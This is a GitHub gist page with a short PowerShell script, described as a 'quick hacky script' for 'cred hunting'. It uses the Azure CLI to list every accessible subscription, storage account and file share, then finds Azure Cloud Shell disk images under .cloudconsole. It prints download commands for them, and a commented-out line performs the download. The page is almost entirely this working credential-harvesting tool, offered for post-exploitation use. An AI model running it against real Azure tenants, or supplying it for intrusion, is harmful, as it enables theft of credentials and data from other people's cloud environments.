Created
November 14, 2022 03:31
-
-
Save SoftPoison/6e597f204bc3d112ea48258a6bf62cf7 to your computer and use it in GitHub Desktop.
quick hacky script to download all cloudshell image files for cred hunting purposes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Download all available Cloud Shell image files | |
$subscriptions=az account list --query "[].name" -o tsv | |
foreach ($sub in $subscriptions) { | |
$accounts=az storage account list --subscription "$sub" --query "[].name" -o tsv | |
foreach ($acc in $accounts) { | |
$shares=az storage share list --subscription "$sub" --account-name "$acc" --query "[].name" -o tsv 2>$null | |
foreach ($shr in $shares) { | |
$files=az storage file list --subscription "$sub" -s "$shr" --account-name "$acc" -p .cloudconsole --query "[].name" -o tsv 2>$null | |
foreach ($file in $files) { | |
echo "az storage file download --subscription '$sub' -s '$shr' --account-name '$acc' -p '.cloudconsole/$file'" | |
# for now only print the command to download the cloud shell image since it's like 5GB a piece. if you want to actually download them, uncomment the following line | |
# az storage file download --subscription "$sub" -s "$shr" --account-name "$acc" -p ".cloudconsole/$file" | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
afterwards: